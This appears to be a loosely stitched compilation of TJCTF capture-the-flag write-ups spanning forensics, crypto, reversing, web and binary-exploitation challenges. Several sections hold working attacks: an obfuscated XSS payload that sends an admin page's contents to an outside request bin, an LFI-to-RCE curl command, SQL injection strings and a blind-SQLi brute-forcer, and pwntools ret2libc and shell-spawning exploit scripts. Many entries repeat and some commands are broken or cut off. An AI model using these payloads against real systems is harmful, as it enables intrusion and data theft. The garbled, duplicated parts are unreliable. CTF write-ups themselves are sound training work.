/.git exists, use gitdumper to get source Type juggling, password is sha256'd and compared with == Revert to get old user creds from git 34250003024812 is a magic sha256 string Andon1956:34250003024812

Download -> exiftool meme.png -> profit

Flag: tjctf{ch0p1n_fl4gs}

Right channel of audio is different Remove left channel, get full spectogram with https://convert.ing-now.com/mp3-audio-waveform-graphic-generator Wingdings2

tjctf{quicksonic}

Use dnspy to read Assembly-CSharp - tjctf{wh3rs_ Part 2 - Use AssetStudioGUI - VictorySound2.wav (1.wav is japanese) Voice says: Flag part 2 is: "the_T5sp1n" or 0x7468655f54357370316e (Hex gives capitalised T) Part 3: Strings level0 and grep for '}' (probably not intended lmao)

tjctf{wh3rs_the_T5sp1n_sn4ekk}

Windows 7 sp1 x64 memdump By grepping for urls, we can find https://super-secret-file-server.herokuapp.com/. Command history shows us the credentials with a username and password, and also the name of a deleted file. We download this file: _4nd_y0u_w1ll_n3v3r_f1nd_m333} We now see that mstsc is running, which is the rdp client. I used filescan to search for open files, and found an the rdp cache file. We can use https://github.com/ANSSI-FR/bmc-tools to parse it, and get 128 tiles from the image. By piecing this together (thanks will) we get the first half of the flag: tjctf{c00k1e_m0n5t3r_w4s_h3r3

tjctf{c00k1e_m0n5t3r_w4s_h3r3_4nd_y0u_w1ll_n3v3r_f1nd_m333}

For this one open the image in gimp select color picker. Also open the color section in windows/dockable dialogs/colors then click on each section and note down the hex color values: 746a63 74667b 63306c 6f7266 75315f 666c34 67217d decode this from hex and we get the flag:

tjctf{c0lorfu1_fl4g!}

There's DTMF tones in the audio from 1:05ish - 1:18ish, decode those and convert the 2 digit ascii numbers to text to get the flag

tjctf{bruh_camel_240p}

So, what a mess this was. Firstly, we started by performing a timing attack. That managed to get us quite a lot of things, but it was annoying having to wait 5 minutes for some results. So lets look for a better option. Looking at the hint, it says to think about I/O. Hmmm, ok. Connecting through netcat, it prints out "Imagine having a usable terminal". Ok, interesting. If we try and enter in a command, it doesn't output anything. Odd. We can probably assume that all our commands are being sent to /dev/null, where they just get wiped away. What if we could trick the connection to redirect our commands anywhere, instead of /dev/null. If we know that 2>/dev/null sends any errors there, we can redirect our output to the input as we're connected there, doing >&0. Once we've done some enum, we can use the name of the challenge "TT Why" (sounding like TTY) to spawn a tty shell, where we can run sudo -l (as password.txt has problem-user password) to see that we can run /usr/bin/chguser as root. Changing user, navigating to home folder, then to flag, we get flag.txt

>ls -alR ./ >&0
message.txt
password.txt

> cat message.txt
Man, I just sure wish I could impersonate other_user

> cat password.txt
Password for problem user: 1234qwer

> python -c 'import pty; pty.spawn("/bin/bash")' >&0

$ sudo -l
(root) /usr/bin/chguser

$ sudo /usr/bin/chguser other-user
Password: 1234qwer

$ ls -alR 
./flag:
flag.txt

$ cat flag/flag.txt

tjctf{ptys_sure_are_neat}

After analysing the random.randint i found that it was rigged (info by botters) so i just reversed what it done (with help from tony) and pieced it together - code below

tjctf{i5AJ0borFRenCx6342}

def getindex(a):
    out = []
    for i in a:
        if "{" in i:
            out.append(0)
        if "3" in i:
            out.append(1)
        if "4" in i:
            out.append(2)
        if "2" in i:
            out.append(3)
        if "}" in i:
            out.append(4)
    return out

with open("out","r") as f:
    out = f.read()
    f.close()
out = out.split("\n")[:-2]
out = [[x[i:i+5] for i in range(0, len(x), 5)] for x in out ]
stats = ""
for j in range(5):
    for i in out:
        a = getindex(i)
        print(a)
        stats += str((a.index(j)-j)%5)
print(stats) # 4 is common
counter = [0,0,0,0,0]
for i in stats:
    counter[int(i)] += 1

print(counter)
for k in range(5):
    for j in range(5):
        alpha = out[0][getindex(out[0]).index(k)]
        alpha2 = {}
        for i in alpha:
            alpha2[i] = 0

        for i in out:
            thing = i[getindex(i).index(k)]
            thing = thing[-1]+thing[:-1] # revshift by 4
            alpha2[thing[j]] += 1

        for i in alpha:
            print(i,alpha2[i],end=" ")
        print()

Use ord(open()[x]) to read one byte at a time, and sleep for it's ascii value

tjctf{iTs_T1m3_f0r_a_flaggg}

This challenge was definitely one of the harder ones in the CTF, mainly because of it's deceiving point value, at only 5 points. The description doesn't provide any information at all, which was very strange, and the fact that the challenge was categorized as "Misc" also made it very confusing, as should the challenge not be OSINT if nothing at all is provided?

This ended up taking a very long time to figure out. Perhaps the title would give a bigger hint? It mentions Discord, which is a common text and voice messaging service used by gamers.

I myself, am not a gamer, so I wasn't too keen on the idea of registering at discord.com, but if I was going to get 5 points for it, I was going to do it nonetheless.

Registering however, was a challenge in itself.

The difficulty lies in that you have to put personal information in, but wait... Do I really trust a site like discord with my personal details?

Were these 5 points really worth it? I asked myself.

"Yes. Yes they are. We must beat our rivals Pwn to 0xE4!".

And so, reluctantly, I filled in my details, and added 2 Factor Authentication for safety.

These 5 points were going to be so worth it.

However, how was I to get into the server where the flag was?

I would need an invite link. But where was I to get that?

Well, I started by trying to OSINT the challenge creators, in the hopes that they would have left something in their social medias, but it ended up with no results, to my sadness.

I looked for minutes, hours, days for this link, but nothing showed up.

Eventually, I gave up and decided to come back to this challenge another day. I decided to look at other challenges.

What about that circle one? Or the difficult decryption one?

But still, there was a feeling in my heart.

A feeling that meant I would HAVE to get those 5 points.

After all, it could mean the difference between winning and losing...

One morning, while scrolling through the challenges, I noticed something rather interesting.

There was a logo that looked oddly familiar amongst the email, Facebook and Twitter logos.

At once I recognised what it was.

IT WAS THE DISCORD LOGO! Hovering over it, I saw it redirected to a discord.gg link.

Perhaps this was it?

Perhaps this was the link to join the discord?? With my right hand sweating and shivering, I moved my mouse towards the icon, and clicked.

For a moment... There was silence.

Nothing could be heard, except for the faint sound of rickrolls in the background, and the weird audio for arabfunny.

Suddenly, I was greeted with a page. "evanyeyeye invited you to join TJCTF".

This was it. Those 5 points were going to be mine, and we would crush Pwn to 0xE4 like twigs.

However, it turns out this was again, still not enough. The security of the server was set to very high, and I needed to pass a captcha.

"No problem!", I thought. "I can just use my OCR script!".

However, despite trying over 2 times to try and get the OCR script to work, I never managed to do it, and time was running out.

There were only 95 hours left in the CTF.

This needed to be quick.

We were running out of time.

This was an emergency.

Immediately I recruited help from our team's Asian, PotatoK. He was able to read the letters and numbers and so, after a long while of waiting, we got access to the server! Those 5 points were finally going to be ours! However, once again, due to the delicate crafting of this challenge by the creator, KyleForkBomb(who even is that guy), we were stopped in our tracks once again. "How many parts does this challenge have?", I thought to myself. I decided to go back to the challenge page, and luckily enough, there was a relevant hint!

"Type ?flag in chat"

So I proceeded to type in "?flag in chat", in the hopes that it would give me the flag, but after 5 seconds of me typing "?flag in chat" into notepad, it was clear that this was going nowhere. So, I kept on pushing. I found a shortcut for typing it as well, by simply CTRL-C to copy and CTRL-V to paste. However, even after a further 7 seconds of typing it, no flag was there. Where was this flag, and why was it so difficult just for 5 measly points? I had to beat Pwn to 0xE4. I had to.

After a few more seconds of trying to type "?flag into chat" into my notepad window, I decided to try and take the hint from another perspective. I decided to read the hint once more.

"Type ?flag in chat"

Ever since we discovered the hint, we had always interpreted it as 'Type "?flag i n chat"'. But what if it was meaning something else? For example, it could have meant 'Type "?flag" in chat'.

Now everything made sense.

The pain of trying to find the Discord link. The captcha which I had to get PotatoK to solve. The registering for the Discord account. It all made sense now. All the suffering we went through.

With palms still sweating, I slowly typed "?flag" into the #general chat.

There was no one else around as far as I could tell. I was going to crush Pwn to 0xE4.

I was going to get these points.

I was close, I could feel it.

I could definitely taste the flag.

I felt so close.

Once I typed "?flag" in chat, there was silence yet again.

I could feel the sense once again, just like when I clicked on the discord link.

A few seconds passed.

Then, I saw my message get deleted? Who could have done this? Was it the evil mind of the challenge creator? Was it... no... it couldn't be... Pwn to 0xE4???

Could they have done this in order to get the flag and the points before us?

This was a disaster.

We needed those points.

This was turning into a nightmare, and there were only 94 hours left in the CTF.

We needed a plan to take them down, and fast. We quickly retreated back to the Jackbox server in order to discuss.

This had to be done quick.

We would need to act fast.

Our plan was simple. We would just need to type the command, and the get output before Pwn to 0xE4 would have a chance to intervene.

Using my new techniques I learnt from Truly Terrible Why, and also the CTRL-C CTRL-V technique from earlier, I was set to get this flag. This was going to work.

I was going to get this flag, get those 5 points, and crush Pwn to 0xE4.

I could taste victory already, and those CTFTime points would definitely be ours.

We were almost ready to execute the plan.

This would be it.

The flag would be ours.

Those 5 points we worked so hard for.

Registering the account, finding the link, getting past the captcha, using the hint. All the pain and suffering would finally pay off.

We were ready to take on Pwn to 0xE4.

We waited for the perfect moment to strike, but we had to be extra careful, as we did not expect them last time...

The plan was in action! I pasted the command carefully, but swiftly, and awaited the response...

Yet again... silence...

Until...

We were able to retrieve a message link...

It appears this takes us to the announcements channel, which I scrolled through a couple times, but couldn't find anything of use.

Where was this flag, and why was this challenge only worth 5 points???

Then... something caught my eye...

It appeared to be... an image... with some text on it. The words looked familliar... especially the "tjctf" part...

Suddenly, I realised what this was.

This was the flag!! The very thing that took almost 2 minutes to find was right in front of us!!

I had to get PotatoK once again to read it for me, but we finally found the flag after a lot of sweat, pain, and effort.

Swiftly I wrote the flag down, and copied it into the flag box.

"Correct!" it read, and those 5 points were finally ours.

We would go on to get defeated by Pwn to 0xE4, as they solved Naughty, meaning that these 5 points made all the difference.

Thank you for making this one of the most difficult CTF challenges I have ever solved, and even though it was only worth 5 points, they were more than satisfying to get.

Flag: tjctf{circles_was_a_bad_challenge}

-@Willwam845

With an n value this small, it can be quite easily cracked. I used RsaCtfTool (git clone ), with the command:

tjctf{10minutes}

We start with a .zip file. When we unzip, we get a directory called 0. It contains one file, 1.tar.bz2

If we decompress this file, we get a directory called 1, which contains 1.txt and another compressed file. This repeats.

The text files seem to contain tjctf{n0t_th3_fl4g}, I took a guess that at some level in this recursive compression has a .txt file that yields the flag.

This is relatively simple. Every file is either .kz3, .tar.bz2, or .tar.gz. We can use file extensions to detect which type of file it is, and then decompress. Script below(a bit bad, I'm aware) I unzipped up to directory 1 manually because it's different to the rest.

After running the script you'll be left with a file flags.txt. Majorly, flags.txt contains a bunch of ljctf{n0t_th3_fl4g} but if you filter this out using grep -v the flag will be revealed to you.

There is a function called "shell". This function loads rdi into rbp-8, checks it against the value 0xdeadcafebabebeef, and if the check is successful it pops a shell for us. Clearly, our goal is to call this function.

In main, there is a gets call. It reads as much input as we want into rbp-0xa, opening up an avenue for buffer overflow. As the saved rbp is 8 bytes long, our padding will be 0xa + 8 bytes of junk.

We could use a pop rdi gadget so that the check works properly, but there's no need. Instead, we can jump straight to the instruction inside of shell that pops a shell for us.

So our payload is just padding + address of instruction in shell that pops a shell

Can perform XSS by reporting to admin Admin dashboard has a link to /admin_flag Requesting admin_flag from a page with {, ", ', `,} or gives an error

<img src="0" onerror="eval(String.fromCharCode(118,97,114,32,120,104,116,116,112,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,120,104,116,116,112,46,111,110,114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,101,61,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,120,104,116,116,112,50,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,105,102,40,116,104,105,115,46,115,116,97,116,117,115,61,61,50,48,48,41,123,120,104,116,116,112,50,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,103,50,117,104,110,55,49,63,111,117,116,61,39,43,101,110,99,111,100,101,85,82,73,40,98,116,111,97,40,116,104,105,115,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,44,116,114,117,101,41,125,101,108,115,101,123,120,104,116,116,112,50,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,103,50,117,104,110,55,49,63,111,117,116,61,39,43,116,104,105,115,46,115,116,97,116,117,115,44,116,114,117,101,41,125,120,104,116,116,112,50,46,115,101,110,100,40,41,125,59,120,104,116,116,112,46,111,112,101,110,40,39,71,69,84,39,44,39,47,97,100,109,105,110,95,102,108,97,103,39,44,116,114,117,101,41,59,120,104,116,116,112,46,115,101,110,100,40,41,59))">

Takes the flag and forwards it to a request bin

Saves cookie with dict of liked moments

echo 'COOKIE' | sed 's/false/true/g' | base64 -w0

Replace cookie and go to vip area

/.git exists, use gitdumper to get source Type juggling, password is sha256'd and compared with == Revert to get old user creds from git 34250003024812 is a magic sha256 string Andon1956:34250003024812

If we open this up in a gcode editor, we can see a fake flag there. The hint hints at the movement speed of the arm, and so if we do a bit of research into this, we can see they are represented by "F" values. Therefore, we extract these from the gcode file. Most of them are either F10500 or F2400, but some of them appear to be quite small, and some even appear to be within the range of numbers for standard ASCII chars. Perhaps there is something hidden in those values... So, we filter out the F10500 and F2400 values. At the end of the output, we can see a list of values that appear to be within the ASCII number range, so I converted these numbers to ASCII text to get the flag.

F116
F106
F99
F116
F102
F123
F109
F52
F110
F121
F95
F108
F52
F121
F51
F114
F115
F125

Flag: tjctf{m4ny_l4y3rs}

So i was looking at the csv and thought "kek tf does this mean" but then i checked the range values for the csv and saw they were rly similar. i looked at the hint about tony stark and thought maybe i need to build an ai or some shit. woa kept telling me i was mental and had big confusion but i continued anyway. i built one (code below) and ran it (followed tutorial with adjustments for massive training data). the output it gave was in binary (like in training data). i converted to text and gave flag{mlWis_cool} but it looked like some bits were flipped so i changed it to flag{ml_is_cool} which is flag.

https://medium.com/technology-invention-and-more/how-to-build-a-simple-neural-network-in-9-lines-of-python-code-cc8f23647ca1

hlp = open("help.csv","r").read().split("\n")
hlp = [[int(y) for y in x.split(",")] for x in hlp]

flg = open("flag.csv","r").read().split("\n")
flg = [[int(y) for y in x.split(",")] for x in flg]


from numpy import exp, array, random, dot, set_printoptions, inf
set_printoptions(threshold=inf)

class NeuralNetwork():
    def __init__(self):
        self.synaptic_weights = 2 * random.random((10, 1)) - 1
    def __sigmoid(self, x):
        return 1 / (1 + exp(-x))
    def __sigmoid_derivative(self, x):
        return x * (1 - x)
    def train(self, training_set_inputs, training_set_outputs, number_of_training_iterations):
        for iteration in range(number_of_training_iterations):
            output = self.think(training_set_inputs)
            error = training_set_outputs - output
            adjustment = dot(training_set_inputs.T, error * self.__sigmoid_derivative(output))
            self.synaptic_weights = self.synaptic_weights + adjustment # fukin numpy being shit kek
    def think(self, inputs):
        return self.__sigmoid(dot(inputs, self.synaptic_weights))



neural_network = NeuralNetwork()

print("Random starting synaptic weights: ")
print(neural_network.synaptic_weights)
training_set_inputs = [[y/100 for y in x[1:]] for x in hlp]
training_set_outputs = [x[0] for x in hlp]

print(training_set_inputs[0],training_set_outputs[0])

for i,j in enumerate(training_set_inputs):
    neural_network.train(array([j]), array(training_set_outputs[i]).T, 10000) # gotta train individually or numpy gets triggered

print("New synaptic weights after training: ")
print(neural_network.synaptic_weights)

b = ""
for i,j in enumerate(flg):
    print("Considering new situation :",j)
    a = neural_network.think(array(flg[i]))[0]
    b += str(int(a))
    print(int(a))
print(b)

Set username to "admin'/*" and the password to whatever this is so the command executed is

EZ

flag is tjctf{W0w_wHa1_a_SqL1_exPeRt!}

Unity webgl game, requires adding the Cetus Chrome Extension Use cetus to search (f32) for current health, narrow down results and freeze in place Increase attack damage to 5000 When placed behind a wall, use either 0x01a508b8, 0x01a5ab60, 0x01fc6560or 0x01fc65b0 to move yourself out

tjctf{c3tus_del3tus_ur_m3ms_g0ne}

Can perform XSS by reporting to admin Admin dashboard has a link to /admin_flag Requesting admin_flag from a page with {, ", ', `, or gives an error

<img src="0" onerror="eval(String.fromCharCode(118,97,114,32,120,104,116,116,112,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,120,104,116,116,112,46,111,110,114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,101,61,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,120,104,116,116,112,50,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,105,102,40,116,104,105,115,46,115,116,97,116,117,115,61,61,50,48,48,41,123,120,104,116,116,112,50,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,103,50,117,104,110,55,49,63,111,117,116,61,39,43,101,110,99,111,100,101,85,82,73,40,98,116,111,97,40,116,104,105,115,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,44,116,114,117,101,41,125,101,108,115,101,123,120,104,116,116,112,50,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,103,50,117,104,110,55,49,63,111,117,116,61,39,43,116,104,105,115,46,115,116,97,116,117,115,44,116,114,117,101,41,125,120,104,116,116,112,50,46,115,101,110,100,40,41,125,59,120,104,116,116,112,46,111,112,101,110,40,39,71,69,84,39,44,39,47,97,100,109,105,110,95,102,108,97,103,39,44,116,114,117,101,41,59,120,104,116,116,112,46,115,101,110,100,40,41,59))">

Takes the flag and forwards it to a request bin

Set username to "admin'/*" and the password to whatever this is so the command executed is

"SELECT username, password FROM `userandpassword` WHERE username='admin/*' AND password='<md5 HASH object @ 0x00000151246A95F8>'"
/* is a comment so everything after that is ignored.

EZ

flag is tjctf{W0w_wHa1_a_SqL1_exPeRt!}

Basic LFI Vuln curl -XPOST 'https://file_viewer.tjctf.org/reader.php?file=php://input' -d '<?php system("whoami"); ?>' - www-data ls -la:

-r--r--r-- 1 root     root       44 May 18 15:32 apple.txt
-r--r--r-- 1 root     root       74 May 24 15:12 grape.txt
dr-xr-xr-x 1 root     root     4096 May 24 15:12 i_wonder_whats_in_here
-r--r--r-- 1 root     root     3012 May 18 15:32 index.html
-r--r--r-- 1 root     root       27 May 18 15:32 orange.txt
-r--r--r-- 1 root     root       49 May 18 15:32 pear.txt
-r--r--r-- 1 root     root       27 May 18 15:32 pinneaple.txt
-r--r--r-- 1 root     root     2532 May 18 15:32 reader.php
-r--r--r-- 1 root     root       22 May 18 15:32 watermelon.txt

curl -XPOST 'https://file_viewer.tjctf.org/reader.php?file=php://input' -d '<?php system("cat i_wonder_whats_in_here/* "); ?>'

tjctf{n1c3_j0b_with_lf1_2_rc3}

We can use the SQL LIKE clause to bruteforce the password one character at a time.

import requests

url = 'https://weak_password.tjctf.org/login'
alphabet = 'abcdefghijklmnopqrstuvwxyz'

print('Bruteforcing password: ', end='', flush=True)
for i in range(100):
    for char in alphabet:
        r = requests.post(url, data = {'username': 'test', 'password': f"a' OR EXISTS(SELECT * FROM `userandpassword` WHERE username='admin' AND password LIKE '{'_'*i}{char}%') AND ''='"})
        if 'Wrong' not in r.text:
            print(char, end='', flush=True)
            break
    else:
        print('\nPassword found')

The password is 'blinded', the flag is:

tjctf{blinded}

Jwt HSA/RSA signing vulnerability Use pubkey.pem with jwt_tool.py 'speed' is calculated with

speed = int(hashlib.md5(("Horse_" + horse).encode()).hexdigest(), 16)

'ajuuer' is fast enough Set horses to ["ajuuer"] Race Get flag

tjctf{w0www_y0ur_h0rs3_is_f444ST!}

from pwn import *
import hashlib
from pwnlib.util.iters import mbruteforce
import string

BOSS_HORSE = "MechaOmkar-YG6BPRJM"
goal = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
def attempt(horse):
        speed = int(hashlib.md5(("Horse_" + horse).encode()).hexdigest(), 16)
        if speed > goal:
                return True
        else:
                return False
myhorse = mbruteforce(attempt, string.ascii_lowercase, length=10)
print(myhorse)

Just remove the duck's ability to move and make knife go brrrrrrrr zoom and then get flag

tjctf{orenji_manggoe}

So after deobfuscating the script (which i didnt rly needed to) i found it was encrypted with a otp of random order of range(256). so then i thought "kek how can i break otp" but then i realised it never repeats itself. i also knew that it started with "tjctf{" and ended with "}". i created a list of possible values left and used that for each position of the flag. this gave me a bunch of characters possible for that position. i just needed to repeat it until there was 1 char left (connected with vpn cus doxx). i did it with this script.

tjctf{n3v3r_r0LL_ur_0wn_cryptOMEGALUL}

With an n value this small, it can be quite easily cracked. I used RsaCtfTool (git clone ), with the command:

tjctf{10minutes}

So i just followed the tutorial kek. i spent so long understanding what it meant so heres a summary of it

did it this script (after chinese remainder i got 64460789473481109991812750133942026256 alice - doesnt need to be prime because they cycle)

There's no NX, AND a gets call. On top of this, the program sends us the buffer address. A simple ret to shellcode, right?

Wrong, in fact. We have to buffer overflow from main, which makes things more difficult. Instead of the classic leave ; ret, it pops a value into ecx, then loads ecx - 4 into esp. This removes our classic buffer overflow where we change EIP. Instead, we must stack pivot.

We have control of ESP. When you call ret, the program jumps to the address stored at ESP. We can set esp to the address of the buffer. Then, we change the beginning of our buffer to be the address of our shellcode.I put the shellcode after the esp.

We can use pattern.py to figure out the amount of bytes until esp, which is 32.

NOTE! it subtracts 4 from our chosen esp value, so we must take care of this.

I created custom shellcode that had to have the address of a string /bin/sh which I also put in the input.

Extract red pixel vals from each frame (last bit) go to day's site

copy code with adjustments. convert output to text and bam!

flag{excitableillumination_wanderer}

Download -> strings ./forward -> scroll up

tjctf{just_g3tt1n9_st4rt3d}

then i found that it showed 2 results for 31-33 range which looked promising. i xored them 2 at a time as well as parts of the flag to find the difference. i then asked willwam to find a solution but i also checked it with the solutions i generated. i then found 33 == 21 + 18 so the mid of 3 sections xored with flag part would get the other part of flag. this gave me "cap" as my 4th-6th characters. i used the chars i generated and bruteforced it and saw "hata o sagashiteimQCE ka? dozo", "tjctf{sE]Ymasen_flag_kudasaiYM" which was using "isa". i brute forced the last char to get "isacapo" and

"hata o sagashiteimasu ka? dozo, tjctf{sumimasen_flag_kudasaii}."

Single byte xor bruteforce with key 0x91

tjctf{n0_th15_is_kyl3}

The first step is to get a list of all the words from the titanic:

curl http://www.dailyscript.com/scripts/Titanic.txt | tr '[:space:]' '\n' | sed  '/^$/d' | | tr -d '.' | tr -d ',' | tr '[:upper:]' '[:lower:]' > wl

Now we create a new wordlist in flag format:

for i in $(cat wl); do echo "tjctf{$i}" >> wl2; done

Then we can use the password cracking tool john to get the flag.

john -w=wl3 hash --format=raw-md5

The flag is tjctf{ismay's}

Download -> make executable -> create flag.txt

If we take a look at main, we can see that it basically says "starting weight is 211, try and get me down to 180 by day 7" (when we run the program, we're presented with 4 options to reduce weight. Have to do this in 7 days). If we rev main, we basically only care about this bottom bit

user_input = input("What is your answer?")
iVar1 = int(user_input)

if iVar1 == 2:
    startweight -= 1
else:
    if iVar1 == 3:
        startweight -= 2
    else:
        if iVar1 != 4:
            counter += 1
    startweight -= 3

So here, we see that if we choose option 2, we subtract 1 from our weight. If our input isn't 2, then we go to the else. If input = 3, subtract 2. If not, then if our input is not 4, then increase the counter. But what we notice is that we always subtract 3 from our weight, if our answer wasn't 2. So now for some simple maths:

211 - 180 = 31
31 = 6(2+3) - 1

Input in: 3 3 3 3 3 3 2 Wait 3 seconds, boom, profit

tjctf{w3iGht_l055_i5_d1ff1CuLt}

Just remove the duck's ability to move and make knife go brrrrrrrr zoom and then get flag

tjctf{orenji_manggoe}

( for help) So we download the file, and we find that it's pure assembly written in intel syntax, nice. Let's compile it: nasm -f elf64 -o asmr.o asmr.asm ldd -o asmr asmr.o When we run it, we don't get anything back. Odd. Lets see what's in the assembly. I decided to reverse all the assembly so that we can get a good picture of what's happening. Basically, in main, it's creating a socket, setting some options for the socket, binding the connection to port 1337, listening on any address, then accepts the connection. Once we connect, it sends "Enter Password:". The program then reads our input, and checks to see whether it's 17 chars (16 + null byte). If our input isn't 16 chars + null byte, it chucks us to label5, which is basically output "Nope" and then end the connection. So we don't want that. We see that label2 compares our last char to null byte. Whilst our input != a null byte, it xors it with key 0x69 (105 in decimal) (that's what label1 does). Label2 then checks to see if that's the password, and if it's correct, it spits out 56333 chars of hex at us. If we get the hex that it moves to the rax register (0x360c1f0605360c1e) and (0x0c0c10361b041a08), xor it with key 0x69 and reverse, we get "welove_asmr_yee". Input that as the password, and the hex gets spit out. If we restart it all again but save to a file, that's a lot nicer to work with. The flag isn't in the strings, but if we take a look at it in ghex, we see a whole load of things. Removing the "Enter password:" and looking at the file headers, we see that it's a .ogg file. Save the file as that, open it in an audio player, and we get "The flag is tjctf{Bravo Uniform Bravo 6 Lira Echo Whiskey Romeo 4 Pop _ Pop 0 Pop}" That's a very long flag, so probably not. Using the hint they gave us (NATO Phonetic Alphabet), we can swap the words for letters and we get a nice message from the team, as well as tjctf{s0m3_n1c3_s0und5_for_you!!!}

After analysing the random.randint i found that it was rigged (info by botters) so i just reversed what it done (with help from tony) and pieced it together - code below

tjctf{i5AJ0borFRenCx6342}

Single byte xor bruteforce with key 0x91

tjctf{n0_th15_is_kyl3}

Saves cookie with dict of liked moments

Replace cookie and go to vip area

NX, no PIE. The whole cookie thing is largely irrelevant so I'm not gonna comment on it.

It calls gets on rbp-0x50, opening an avenue for buffer overflow. We can do a ret2plt attack, calling puts@plt on puts@got in order to leak a libc address, specifically that of puts. Then, we can subtract the appropriate offset to get the libc base.

From there, it's a simple ret2libc attack. We call system("/bin/sh") using pop rdi. The problem is, this doesn't seem to work. To make it work, we have to set rsi and rdx to 0. We don't have a pop rdx gadget inside of the binary, so it's impossible... right?

Wrong, actually. At this point in the exploit, we know the libc base, so we can use rop gadgets inside of the libc. So the full exploit is:

1. use ret2plt to leak a libc address via the PLT and GOT
2. do poprdi + /bin/sh + pop rdx ; pop rsi + 0 + 0 + system in order to pop a shell

There is literally zero protections.

We could do ret to shellcode, but there's no jmp esp and the shifts with the buffer can be very temperamental. Instead, I used ret2libc, which is a lot more reliable.

Via the GOT and PLT, we can execute a simple leak of the address of puts. Feeding this value into libc database find, their libc version is libc6-i386_2.27-3ubuntu1_amd64

So, we can use the GOT and PLT to leak the address of puts and call main again. Then, we can subtract the appropriate value from this to get the libc base. Since we called main again, we get a second input, to which we can deliver the main payload of system("/bin/sh").

from pwn import *
NUM_TO_RET = 0x10c + 4
padding = b'A' * NUM_TO_RET
e = ELF("./osrs")
leak = flat(padding, e.plt['puts'], e.symbols['main'], e.got['puts'])
libc = ELF("/home/kali/Tools/libc-database/libs/libc6-i386_2.27-3ubuntu1_amd64")
p = remote("p1.tjctf.org", 8006)
p.recvuntil(": ")
p.sendline(leak)
P.recvlines(2)
output = p.recvline() # Our leak of the puts address
puts = u32(output[:4])
log.info(f"Puts address: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
final = flat(padding, libc.symbols['system'], libc.symbols['exit'], next(libc.search(b"/bin/sh\x00")))
p.sendline(final)
p.interactive()

There is a function called "shell". This function loads rdi into rbp-8, checks it against the value 0xdeadcafebabebeef, and if the check is successful it pops a shell for us. Clearly, our goal is to call this function.

In main, there is a gets call. It reads as much input as we want into rbp-0xa, opening up an avenue for buffer overflow. As the saved rbp is 8 bytes long, our padding will be 0xa + 8 bytes of junk.

We could use a pop rdi gadget so that the check works properly, but there's no need. Instead, we can jump straight to the instruction inside of shell that pops a shell for us.

So our payload is just padding + address of instruction in shell that pops a shell

from pwn import *
NUM_TO_RET = 0xa + 8
padding = b'A' * NUM_TO_RET
payload = flat(padding,0x4006e3, word_size=64)
p = remote('p1.tjctf.org',8009)
p.recvlines(2)
pause()
p.sendline(payload)
p.interactive()

This has been explained in countless writeups, so I won't go over it largely, but there's NX and no PIE. So we can use ret2plt, like always, to leak a libc address.

LARGE PROBLEM!

Main is quite a complex function. For the purposes of buffer overflow, this is irrelevant to us. However, if we just overwrite RBP with a bunch of As, it means that errors will be caused at an instruction like mov DWORD PTR [rbp-0x8], 0x9 , and whenever pop is called(after rsp is set to rbp). Thus, we must give rbp some form of authentic value so we can basically move the stack somewhere else. There is a page mapped read and write inside of the binary at around 0x602000-0x603000 . We can set rbp to a value around here to create a nice fake stack, then execute a ret2libc attack.

from pwn import *
NUM_TO_RET = 282
padding = b'A' * NUM_TO_RET
e = ELF("./stop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
poprdi = 0x0000000000400953 # pop rdi ; ret
poprsi = 0x0000000000400951
#p = e.process()
p = remote('p1.tjctf.org', 8001)
leak = flat(poprdi, e.got['printf'],poprsi, 0, 0, e.plt['printf'], 0x0000000000400747, word_size=64)
payload = padding[:-8] + p64(0x000000000602000 + 0x1000 - (0x20 + 0x8 * 10)) + leak
p.sendline(payload)
p.recvlines(9)
output = p.recvuntil("Which")[:-5]
output += b'\x00\x00'
printf = u64(output)
log.info(f"Printf: {hex(printf)}")
libcbase = printf - libc.symbols['printf']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
chain = flat(poprdi, next(libc.search(b"/bin/sh\x00")), poprsi, 0, 0, libc.symbols['system'], word_size=64)
payload = padding + chain
pause()
p.sendline(payload)
p.interactive()

We start with a .zip file. When we unzip, we get a directory called 0. It contains one file, 1.tar.bz2

If we decompress this file, we get a directory called 1, which contains 1.txt and another compressed file. This repeats.

The text files seem to contain tjctf{n0t_th3_fl4g}, I took a guess that at some level in this recursive compression has a .txt file that yields the flag.

This is relatively simple. Every file is either .kz3, .tar.bz2, or .tar.gz. We can use file extensions to detect which type of file it is, and then decompress. Script below(a bit bad, I'm aware) I unzipped up to directory 1 manually because it's different to the rest.

start = 1
import os
def unzip(filename):
  os.system(f"unzip {filename}")
def untar(filename):
  os.system(f"tar -zvjf {filename}")
def gunzip(filename):
  os.system(f"tar -zvxf {filename}")
cur = start
while True:
  files = os.listdir(str(cur))
  file = next(filter(lambda x: '.txt' not in x, files)) # Ignore this monstrosity
  file = os.path.join(str(cur),file)
  if 'kz3' in file:
    unzip(file)
  elif 'bz2' in file:
    untar(file)
  else:
     gunzip(file)
  file = next(filter(lambda x: '.txt' in x, files)) # Again, ignore this monstrosity
